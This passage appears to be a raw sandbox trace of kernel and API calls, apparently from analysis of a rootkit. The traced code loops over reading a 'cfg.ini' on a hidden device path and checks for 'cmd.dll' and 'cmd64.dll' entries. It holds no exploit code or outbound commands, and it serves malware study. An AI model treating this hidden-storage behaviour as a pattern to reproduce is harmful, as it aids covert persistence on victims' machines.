MemoryDescriptorList=0xfffffa80039d6bf0) [0117.981] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.981] IdePortDispatch () returned 0x103 [0117.981] KeWaitForMutexObject () returned 0x0 [0117.982] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.982] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.982] IdePortDispatch () returned 0x103 [0117.982] KeWaitForMutexObject () returned 0x0 [0117.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.982] KeLeaveCriticalRegion () [0117.982] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.983] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.983] KeEnterCriticalRegion () [0117.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.983] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.983] KeLeaveCriticalRegion () [0117.983] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.983] KeEnterCriticalRegion () [0117.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.983] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.983] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003af8590, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.983] KeLeaveCriticalRegion () [0117.983] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.983] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.983] KeEnterCriticalRegion () [0117.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.983] ExFreePoolWithTag (P=0xfffffa80039daa90, Tag=0x0) [0117.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.983] KeLeaveCriticalRegion () [0117.983] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.983] ReleaseMutex (hMutex=0xf0) returned 1 [0117.983] Sleep (dwMilliseconds=0x124f80) [0118.002] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.002] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.002] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.002] KeEnterCriticalRegion () [0118.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.002] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.003] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.003] IdePortDispatch () returned 0x103 [0118.003] KeWaitForMutexObject () returned 0x0 [0118.003] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.003] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.003] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.003] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.003] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.003] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003af8480 [0118.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.003] KeLeaveCriticalRegion () [0118.003] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.003] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.003] KeEnterCriticalRegion () [0118.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.003] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.003] KeLeaveCriticalRegion () [0118.003] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.003] KeEnterCriticalRegion () [0118.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.004] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.004] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.004] IdePortDispatch () returned 0x103 [0118.004] KeWaitForMutexObject () returned 0x0 [0118.004] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.004] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.004] KeLeaveCriticalRegion () [0118.004] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.004] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.004] KeEnterCriticalRegion () [0118.004] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.004] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003486000 [0118.004] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.004] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.004] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.004] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.004] IdePortDispatch () returned 0x103 [0118.005] KeWaitForMutexObject () returned 0x0 [0118.005] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.005] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.005] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.005] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.005] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.005] IdePortDispatch () returned 0x103 [0118.005] KeWaitForMutexObject () returned 0x0 [0118.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.005] KeLeaveCriticalRegion () [0118.005] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.006] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.006] KeEnterCriticalRegion () [0118.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.006] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.006] KeLeaveCriticalRegion () [0118.006] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.006] KeEnterCriticalRegion () [0118.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.006] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.006] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa64b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.006] KeLeaveCriticalRegion () [0118.006] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.006] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.006] KeEnterCriticalRegion () [0118.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.006] ExFreePoolWithTag (P=0xfffffa8003af8480, Tag=0x0) [0118.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.006] KeLeaveCriticalRegion () [0118.006] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.007] ReleaseMutex (hMutex=0xf0) returned 1 [0118.007] Sleep (dwMilliseconds=0x124f80) [0118.026] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.026] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.026] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.026] KeEnterCriticalRegion () [0118.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.026] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.026] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.026] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.026] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.026] IdePortDispatch () returned 0x103 [0118.026] KeWaitForMutexObject () returned 0x0 [0118.026] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.026] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.026] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.026] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.026] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.026] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039daa90 [0118.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.026] KeLeaveCriticalRegion () [0118.026] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.026] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.026] KeEnterCriticalRegion () [0118.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.026] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.027] KeLeaveCriticalRegion () [0118.027] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.027] KeEnterCriticalRegion () [0118.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.027] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.027] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.027] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.027] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.027] IdePortDispatch () returned 0x103 [0118.027] KeWaitForMutexObject () returned 0x0 [0118.027] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.027] KeLeaveCriticalRegion () [0118.027] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.027] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.027] KeEnterCriticalRegion () [0118.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.027] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348b000 [0118.027] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.027] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.027] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.027] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.027] IdePortDispatch () returned 0x103 [0118.028] KeWaitForMutexObject () returned 0x0 [0118.028] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.028] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.028] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.028] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.028] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.028] IdePortDispatch () returned 0x103 [0118.028] KeWaitForMutexObject () returned 0x0 [0118.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.028] KeLeaveCriticalRegion () [0118.028] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.029] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.029] KeEnterCriticalRegion () [0118.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.029] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.029] KeLeaveCriticalRegion () [0118.029] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.029] KeEnterCriticalRegion () [0118.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.029] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.029] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d17d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.029] KeLeaveCriticalRegion () [0118.029] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.029] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.029] KeEnterCriticalRegion () [0118.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.029] ExFreePoolWithTag (P=0xfffffa80039daa90, Tag=0x0) [0118.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.029] KeLeaveCriticalRegion () [0118.029] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.029] ReleaseMutex (hMutex=0xf0) returned 1 [0118.030] Sleep (dwMilliseconds=0x124f80) [0118.034] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.047] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.047] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.047] KeEnterCriticalRegion () [0118.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.047] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.047] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.047] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.047] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.047] IdePortDispatch () returned 0x103 [0118.047] KeWaitForMutexObject () returned 0x0 [0118.047] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.047] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.047] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.047] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.047] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.047] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa63a0 [0118.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.047] KeLeaveCriticalRegion () [0118.047] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.047] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.047] KeEnterCriticalRegion () [0118.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.047] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.047] KeLeaveCriticalRegion () [0118.048] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.048] KeEnterCriticalRegion () [0118.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.048] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.048] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.048] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.048] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.048] IdePortDispatch () returned 0x103 [0118.048] KeWaitForMutexObject () returned 0x0 [0118.048] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.048] KeLeaveCriticalRegion () [0118.048] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.048] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.048] KeEnterCriticalRegion () [0118.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.048] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfb000 [0118.048] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.048] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.048] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.048] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.048] IdePortDispatch () returned 0x103 [0118.048] KeWaitForMutexObject () returned 0x0 [0118.049] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.049] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.049] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.049] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.049] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.049] IdePortDispatch () returned 0x103 [0118.049] KeWaitForMutexObject () returned 0x0 [0118.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.049] KeLeaveCriticalRegion () [0118.049] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.050] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.050] KeEnterCriticalRegion () [0118.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.050] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.050] KeLeaveCriticalRegion () [0118.050] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.050] KeEnterCriticalRegion () [0118.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.050] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.050] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa64b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.050] KeLeaveCriticalRegion () [0118.050] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.050] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.050] KeEnterCriticalRegion () [0118.050] ExAcquireFastMutexUnsafe (in: 